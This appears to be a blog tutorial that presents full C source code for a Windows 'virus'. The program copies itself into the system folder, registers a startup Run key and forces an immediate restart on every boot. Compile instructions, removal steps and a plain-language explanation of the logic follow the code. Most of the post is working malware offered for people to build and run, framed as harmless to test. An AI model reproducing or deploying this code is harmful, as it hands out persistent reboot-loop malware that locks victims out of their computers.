Create A Virus For restarting Computer At Every Startup

Here is the source code.

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. Compile it in any 32-Bit compiler (Borland C++ 5.5 or higher is recommended)
4. The resulting .exe file is a virus and once you execute it will infect the system.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run



There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.

LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.